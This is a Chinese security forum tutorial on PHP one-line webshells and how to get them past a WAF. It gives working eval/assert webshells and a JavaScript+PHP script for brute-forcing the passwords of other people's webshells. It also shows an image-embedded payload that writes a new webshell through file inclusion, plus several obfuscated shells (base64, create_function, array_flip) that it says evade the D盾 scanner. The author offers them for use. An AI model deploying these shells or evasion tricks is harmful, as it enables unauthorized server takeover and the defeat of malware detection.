本帖最后由 sucppVK 于 2017-1-9 14:39 编辑

一、前言
本文原创作者:XXX,本文属i春秋原创奖励计划,未经许可禁止转载!

各个论坛出了不少过waf的一句话
可笔者见还是有不少小白没有理解一句话(只知道是拿来链接菜刀)
今天打算做一篇面向初学者的教程,总结知识点,抛砖引玉。
让小白从彻底理解马的含义,到打造属于自己过waf的马。
--------------目录------------------------------------------------------------------

  • php一句话含义
  • 用js+php打造高效率一句话爆破脚本(知识扩充:CORS与AJAX)
  • 简单介绍一句话上传攻防
  • 一句话过waf思路

----------------------------------------------------------------------------------------------

二、正文
-----------0x01.php一句话含义---------------------------------------------------
一句话木马:
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
先来瞅瞅最原始的一句话是啥样子:

[PHP] 纯文本查看 复制代码
?
1
<?php @eval($_POST['pw']); ?>

看到只能赞叹前辈的智慧,我们这一代始终是站在巨人的肩膀上。
而小白看到这个会想到什么呢?
哦,密码是pw

这句话什么意思呢?
php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
@符号的意思是不报错。
例如:
如果没有@,如下图,就会报错

为什么呢?
因为一个变量没有定义,就被拿去使用了,
服务器就善意的提醒:Notice,你的xxx变量没有定义。
这不就暴露了密码吗?
所以加上@
为什么pw是密码呢?

那就要来理解这句话的意思了
php里面几个超全局变量
$_GET、$_POST就是其中之一
$_POST['a'];
意思就是a这个变量,用post的方法接收。
(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))
eval()
把字符串作为PHP代码执行
例如:eval("echo 'a'");其实就等于直接 echo 'a';
再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';
这时代码就变成<?php eval("echo 'a';"); ?>
结果:

连起来意思就是:
用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行
所以也就能这么玩:
 
也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马
你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等
想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好
你想执行cmd命令,则用exec()
当然前提是:
php配置文件php.ini里,关掉安全模式safe_mode = off,
然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。
(有些cms为了方便处理某些功能,会去掉的)
看看效果:
 
现在应该理解,为什么说一句话短小精悍了吧!

--------------------------------------------------------------------------------

-----------0x02.用js+php打造高效率爆破一句话脚本----------------
用来接收的变量可以随便写,
例如<?php @eval($_POST['aadhqdssjdodjsijsdmzodjihdaisjd']); ?>
那么变量就是aadhqdssjdodjsijsdmzodjihdaisjd,也就是所谓的密码

那如果,在扫描目录的时候,发现某个可疑目录,
例如:www.dedecms.com/include/taglib/yijuhua.php
扫到了的返回信息是200 ok
但是打开却是空的,我们就有理由相信:这很可能是别人留下的后门(一句话木马)
这时候,咱们就可以尝试爆破这个密码
a=echo 'okok';
没有回显,不对
b=echo 'okok';
没有回显,不对
.
.
.
这样可以吗,可以,但太慢了。
吐司论坛上,接地气表哥就已经给出过思路,用&连接多个变量参数,一次测试多个参数
这样可以让你的爆破效率提高千倍
比如

一次放几百个参数,只要里面恰好有那个密码,就会有回显!
tip:阿帕奇最多接收1000参数

咱们i春秋论坛已经有人给出py脚本,这里给出js+php的,大家完善+修改后,就可以放到自己的网站上,丰富网站功能
奸笑一下,为什么说是完善+修改呢?一会再说

[PHP] 纯文本查看 复制代码
?
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <title>一句话爆破</title>
</head>
<body>
    <div id="div" style="margin:0 auto; width:500px;">
        <form action="" method="post">
            目标网址:
            <input type="text" id="decurl" name="decurl" style="width:400px" value="<?php echo @$_POST['decurl'] ?>" /><br>
            <textarea name="dic" id="dic" cols="30" rows="10" style="resize:none; width:490px; height:290px;"></textarea>
            <input type="button" name="" id="" value="开始爆破" onclick= go(); /> 
            <input type="text" name="dicfile" id="dicfile"  value="<?php
                    if(@$_POST['dicfile']) echo $_POST['dicfile'];
                    else echo "爆破字典";
                ?>"/>
            <input type="submit" name="" id="" value="导入字典" onclick=dr(); />
        </form>
        <?php
        //接收字典,放进textarea里面。
            if (@$dicfile = $_POST['dicfile']){
                $str = file_get_contents($dicfile);
                $dicarr = split("\r\n",$str);
                $dic = "";
                echo "<pre>";
                print_r($dicarr);
                echo "</pre>";
                for($i=0;$i<count($dicarr);$i++){
                    $dicarr[$i] = preg_replace('/\;/','',$dicarr[$i]);   //去掉影响要素
                    $dic .='&'.$dicarr[$i].'=echo "okok";';
                }
                $dic = addslashes($dic);
                echo "
                <script>
                    var str = document.getElementById('dic');
                    dic.innerHTML = '{$dic}';
                </script>";
            }
         ?>
    </div>
<script>
    //创建xmlhttp对象函数
    function getxmlhttp(){
        if (window.XMLHttpRequest){
            var xmlhttp = new XMLHttpRequest();
        }else{
            var xmlhttp = new ActiveXobject("microsoft.HMLHttp");
        }
        return xmlhttp;
    }
    //爆破函数主体
    function go(){
        var dic = "<?php echo $dic; ?>";     //获取字典
        var decurl = document.getElementById("decurl");  //获取目标url
        var xmlhttp = getxmlhttp();
        //判断字典是否超过1000条
        var dicarr = [];
        var steparr = [];
        dicarr = dic.split(";");                      //把字典分开,变成数组
        step = Math.floor((dicarr.length - 1)/900);   //step储存需要分几步爆破
        for(i=0;i<=step;i++){
            for(j=(i*900);j<(i*900+900);j++){
                if (dicarr[j] == undefined) break;
                steparr[i] += dicarr[j] + ";";
            }
        }
        //return false;
        //开始爆破
        for (i=0;i<=step;i++){
            xmlhttp.open("POST",decurl.value,false);
            xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xmlhttp.send(steparr[i]);
            var result = xmlhttp.responseText;
            if(result == "okok") {
                select(steparr[i],decurl.value);
                return ture;
            }
        }
        alert(/no/);
    }
    //缩小密码所在范围
    function select(str,decurl){
        var xmlhttp = getxmlhttp();
        var strarr = str.split(";");
        if (strarr.length <= 4){
            getpw(strarr,decurl);
            return ture;
        }
        mid = Math.floor(strarr.length/2);
        var str1 = "";
        var str2 = "";
        for (i=0;i<mid;i++)
            str1 += strarr[i] + ";";
        xmlhttp.open("POST",decurl,false);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.send(str1);
        var result = xmlhttp.responseText;
        if(result == "okok") select(str1,decurl);
        else{
            for (i=mid;i<strarr.length;i++)
                str2 += strarr[i] + ";";
            select(str2,decurl);
        }   
        alert(str);
    }
    //爆破最终密码
    function getpw(strarr,decurl){
        xmlhttp = getxmlhttp();
        for (i=0;i<strarr.length;i++){
            strarr[i] = strarr[i] + ";";
            xmlhttp.open("POST",decurl,false);
            xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xmlhttp.send(strarr[i]);
            var result = xmlhttp.responseText;
            if (result == "okok"){
                alert("password is:"+strarr[i]);
                return ture;
            }
        }
    }
</script>
</body>
</html>

这里,接收到字典以后,先除以900(照顾Apache,如果表哥们有精力,可以加上服务器识别,然后相应给参数)
除以900的意思,就是把字典分成若干份,每份900个参数
分别递交给一句话
如果没有回显,说明这部分不含正确密码(就是那个post接收的参数)
那就拉倒,下一部分继续
但是一旦出现回显:okok,(我给的)

那么就进入缩小范围的自定义js函数select()
运用二分法,分别筛选,最后找出正确密码:
 
代码比较简陋,8000.txt是8000个常用密码
要放在脚本相同目录下。
好了,细心的同学一定发现了,这里有一个天坑:
整个爆破主体是用js写的,准确说是js里的ajax
因此要遵循CORS(跨源资源共享)
如果不同域,且目标没有'Access-Control-Allow-Origin'的消息头
那就会被拒绝:

如果目标有消息头:'Access-Control-Allow-Origin:*’
代表允许任意域的跨站资源共享请求

[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
<?php
header("Access-Control-Allow-Origin:*");
@eval($_POST['hello']);
?>

那就成功:

CORS并不难,但是很多程序员用不懂,不懂用,导致了信息泄露
感兴趣的可以看看:https://developer.mozilla.org/zh ... Access_control_CORS
--------------------知识拓展-----------------------------------------------------------------------------

ajax是指一种创建交互式网页应用的网页开发技术
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。

这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
开发者的初衷就是增加用户体验,比如你添加个购物车,如果刷新一下页面,是不是会很恶心
用了ajax就能完美实现购物车功能,而不影响用户体验
那么到了黑客手里就变成杀人于无形的武器
(主要用于xss,csrf)

前提是你要先把cors搞清楚,本来cors是用来满足各个不同web程序的奇葩要求。
但是由于很多程序员搞不会,在调试脚本时,就匆匆用Access-Control-Allow-Origin:*
于是就造成信息泄露(facebook前一阵子就出了这个洞,黑客成功盗取用户聊天记录)

简单介绍下ajax,
ajax的核心是XMLHttpRequest(简称xhr),但是IE7前不支持xhr对象,因此一般获取这个对象需要这样:

[JavaScript] 纯文本查看 复制代码
?
1
2
3
4
5
6
var xmlhttp
if (window.XMLHttpRequest){
  xmlhttp = new XMLHttpRequest();   //IE7及以上浏览器,firefox,Chrome,Opera,Safari
}else{
  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");  //IE7以下浏览器
}

ajax是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。
然而CORS推出后,则给跨域提供了一条路,要想了解,参见上面给的链接。

取到xhr对象后,用open来发送数据。
接着上面代码
xmlhttp.open(method, url ,ture/false)
xmlhttp.send(something);
如果是post,则在下面的send里面放参数
如果是get,则在url里放参数
一个不错的xss攻击框架——BeEF就是用ajax技术,每隔几秒钟发一次信息,时刻保持联系

若要学习ajax,推荐百度一下:w3c菜鸟学院

这里说明一下,为什么要用ajax做这个脚本呢

  • 本人并不希望大家直接把代码拷回去直接用,思路已经详细给出了,用php等很多语言能完成,希望大家可以动手写一写
  • 拓展一下ajax和cors,这将是一个影响深远的安全问题

-----------0x03.简单介绍一句话上传攻防---------------------------------------------------我们要拿下一个网站的shell,一个思路就是找到上传点
把木马传过去,然后该干嘛干嘛
一般来说上传点并不尽如人意

会对上传文件作出限制,例如只能传图片
如果只是简单地本地对Mime进行验证。
那么用burpsuite拦截,修改即可

还有很多其他的方法,针对不同服务器,不同版本,应对措施不一样(00截断,畸形解析,;截断)

若是服务器对上传的文件进行验证,有什么办法呢?
防:本地js对后缀名验证
攻:上传时,后缀先改成xxx.jpg,然后抓包拦截修改后缀成php
防:用函数对图片进行校验(随机取点验证)
攻:制作图片马,综合别的漏洞来解析图片马
防:上传文件改名字,改路径,不告知路径
攻:........

制作图片马方法不少
这里介绍一种最简单的,图片用txt打开,把一句话直接加进图片里面
 
然后利用本地包含漏洞:
 
测试了一下,只能用phpinfo(),不能用fopen写出新木马
这里也求大牛出来解决下。
---解决了-----------------------
刚觉得不甘心,又拿dvwa做了做实验,灵光一闪,突然想到我们直接可以写个生成新文件的代码
生成新的一句话,
我们先重新审一下思路,
上传点做了限制,必须传图片。
我们随便找一个图片,用txt打开,加入php代码:

[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
<?php
$op = fopen("fuck.php", "a+");
fwrite($op, '<?php @eval($_POST["hello"]); ?>');
fclose($op);
 ?>

如图:
 
成功上传:
 
上传成功+知道路径+成功解析=getshell
很可惜这里后缀名是png,
Apache服务器会认为这是图片,不会把他解析成php
因此没有卵用。。不信可以访问看看:
 
为什么会这样呢?
因为还缺了一步:成功解析
如果这个网站还存在文件包含漏洞
那么我们可以把这个图片包含进来,包含的文件无论是什么后缀,都会被当成php解析!(注意url)
 
成功了
我们的代码意思是:在同目录下创建名字是fuck.php,内容为一句话木马的文件
我们尝试访问:
 
你get到了吗?

-----------0x01.一句话过waf思路---------------------------------------------------
很多时候,我们辛辛苦苦上传的一句话,没过多久,就发现菜刀连不上了
这时候可能是因为管理员没事干,开了类似d盾的waf,把后门扫出来了
我们来看看原生态php一句话,在d盾面前是什么样子的:
 
妥妥的被杀嘛。。
waf主要是对敏感单词进行分析,用正则去匹配恶意代码
那么我们一般要怎么去绕过waf的正则呢?
网上给出的思路无非是把关键字打碎,再组合。例如:

[PHP] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
<?php
$pn="CslRfUE9TVFsnYydd";
$gy="";
$lsg = str_replace("d","","dsdtdrd_drdedpldadce");
$bx="KTs=";
$eep="slIEBldmFsK";
$qkj = $lsg("y", "", "ybyaysyey64y_ydecyodye");
$do = $lsg("tz","","tzcrtzetzatzttzetz_funtzctzttziotzn");
$lct = $do('', $qkj($lsg("sl", "", $eep.$gy.$pn.$bx))); $lct();
?>

替换,编码混淆,动态创建函数,变量函数
你以为这样就逃出d盾法眼了吗?
 
很正常,一个新的过waf一句话传出去,很快各个waf就会制定新规则,并且把新的马列入黑名单,
一旦出现一模一样的马,就标记威胁级别5,已知后门!

我们分析一下这个过waf的思路,尝试自己改造
$lsg实质就是一个变量函数,代表的函数是str_replace(替换)
$qkj也是变量函数,代表的函数是base64_decode(base64解码函数)
$do同样,代表的函数是create_function(创建匿名函数)
剩下几个变量,就是加入了sl混淆的base64.
最终结果是$lct赋予函数
函数内容是:@eval($_POST['c'])

我们照这思路改一改:

[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
<?php
$do = str_replace('sl','','crsleaslte_fslunslction');
$a1 = "IEBldmFsKCRfU";
$a2 = "E9TVFsnZmJpJ10pOw==";
$xx = $do('',base64_decode($a1.$a2));
$xx();
?>

 
显然密码是fbi
我看看d盾扫描结果
 
威胁级别3,可疑变量函数
凑合,没有直接说后门就不错了。
笔者尝试多种修改,多种混淆,始终是下不去3

最后换了个思路(来自08sec一个成员,曾发布在吐司,但有些小问题,笔者修改了一下),
用php函数array_flip,数组键值对互换,来完成免杀
 
看看代码:

[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
<?php
$a1 = "ass";
$a2 = "ert";
$arr=array($a1.$a2=>"test");
$arr1=array_flip($arr);
$arr2 = "$arr1[test]";
@$arr2($_REQUEST['123']);
?>

分析一下,$arr是数组,$arr['assert']='text'
$arr被函数处理,键值对互换后放入$arr1
$arr1['text']='assert'
$arr2=assert了
assert()函数和eval类似,
注意一下,这里,eval不是函数。所以用函数变量的方法是不行的
不信可以自己试试
因此这里笔者才用assert,有部分限制,但是菜刀链接没问题
 
再来看看d盾扫描结果:
 
免杀成功,估计不久后就要被杀了
大家且用且珍惜
其实把思路学到手,稍微改改就差不多能免杀了

三、结束语

编程挺重要的,希望大家没事就把一些常用的脚本语言入个门吧,不写程序,起码也得看得懂代码啊,
还有就是多谷歌、多谷歌、多谷歌
看到陌生函数,陌生代码语句,谷歌,学会自学!

四、参考资料
《Web前端黑客技术揭秘》、《黑客攻防技术宝典web实战篇》

程序员学习公众号:

深入浅出玩转php一句话(含过waf新姿势)相关推荐

  1. eNSP中玩转Python自动化——解锁网工新姿势

    Python脚本批量配置交换机Vlanif接口的IP地址 Python自动化 一.安装Paramiko模块 二.搭建实验环境 1.桥接电脑网卡 2.配置交换机IP地址 交换机配置 测试ensp的交换机 ...

  2. eNSP中玩转Python自动化——解锁网工新姿势(二)

    Python脚本通过FTP备份交换机配置文件 Python自动化 一.安装Paramiko模块 二.搭建实验环境 1.桥接电脑网卡 2.配置交换机 交换机基础配置 测试交换机与电脑的连通性 交换机配置 ...

  3. eNSP中玩转Python自动化——解锁网工新姿势(三)

    python脚本批量创建Vlan 一.目的 python脚本批量创建vlan(每个交换机上都创建vlan200-219) 每个交换机上都创建相同的vlan减少敲命令花费的时间提高工作效率 二.实验环境 ...

  4. eNSP中玩转Python自动化——解锁网工新姿势(六)

    python脚本实现批量交换机自动巡检 目的 python脚本登录到交换机(ssh协议) python批量自动巡检交换机,收集巡检信息并保存到txt文件中 过滤txt文件中的内容并保存到Excel 发 ...

  5. fpga项目开发实例_深入浅出玩转FPGA书+视频教程:35课时+源码

    欢迎FPGA工程师加入官方微信技术群 点击蓝字关注我们FPGA之家-中国最好最大的FPGA纯工程师社群 <深入浅出玩转FPGA(第3版)>收集整理了作者在FPGA项目实践中的经验点滴.书中 ...

  6. 《深入浅出玩转FPGA》笔记

    关于这本书,算是囫囵吞枣地读完了.网上很多人推荐这本书,评价很不错.以我的观点来看,确实是本不错的关于FPGA方面的书,作者确实经验丰富,书中有很多值得学习的东西,但是可能不是很适合初学者看,比较适合 ...

  7. 开放下载!《深入浅出玩转物联网平台》

    简介:一书详解IOT必备要点,云运维工程师不可错过的匠心之作 物联网正在迅速发展.势不可当,企业或创业者该如何面对? 本书从实际需求出发,分为上下两卷,和读者一起从多角度认识物联网.作者从复杂的IoT ...

  8. 如何让一句话木马绕过waf的检测 ?

    一.什么是一句话木马? 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. ...

  9. 2020版深入浅出玩转FPGA视频教程

    <2020版深入浅出玩转FPGA视频教程>基于Xilinx公司的Artix-7 FPGA器件以及各种丰富的入门和进阶外设.视频共37课时,总时长约800分钟,提供了一些典型的工程实例,帮助 ...

最新文章

  1. php sku添加,php – 在单个产品页面中显示SKU下的自定义字段值
  2. Oracle的介绍及其在安装和使用Oracle过程中可能遇到的困难及其相应的解决措施
  3. codeforces水题100道 第十一题 Codeforces Round #143 (Div. 2) A. Team (brute force)
  4. java.lang包含_原因:java.lang.IllegalArgumentException:包含(1)...
  5. java命令主动清空jvm_JVM史上最全实践优化没有之一
  6. javaone_JavaOne 2012:观察与印象
  7. 最长上升子序列 (LIS算法(nlong(n)))
  8. TensorFlow神经网络(五)输入手写数字图片进行识别
  9. ubuntu22.04编译opengl编程指南示例
  10. 2014程序化购买元年-芒果移动广告-王江
  11. vue百度地图加载离线瓦片(包含百度离线文件+瓦片下载器)
  12. 劳务派遣人员管理办法范文
  13. 汽车CAN诊断——报文数据篇
  14. Android表单UI及相应控件的事件处理
  15. pandas 报错 KeyError: 0
  16. (有趣)把文字隐藏到图片中
  17. 网站cc攻击的防御步骤
  18. (1)从1开始写一个操作系统
  19. [记录学习]自学动力节点荣姐SpringMVC5笔记
  20. QQ五笔,正式公测版,与众Q友分享,附件

热门文章

  1. 为什么mydock会经常崩溃_MyDock4.9.4.1客户端下载-MyDock软件下载 - iefans下载
  2. 计算机专业PhD申请文书范文,美国统计学博士申请文书范文
  3. PHP多商户AI智能在线客服系统源码 机器人自动回复 即时通讯聊天系统源码
  4. 识别产品外观的合格软件_机器视觉产品外观质量检测分析系统
  5. 运用杨鹏17天搞定GRE单词的方法,算出每一天应该被单词的量
  6. 人工智能就业发展前景分析
  7. 基于 ETC 专用短程通信的车路协同 第 1 部分:应用集及应用数据交互需求
  8. Excel工资条一键发送系统
  9. 理光3055设置扫描文件服务器,理光复印机WIN10电脑扫描设置教程
  10. linux中用循环求平均值,怎么用循环句求平均值(在线等)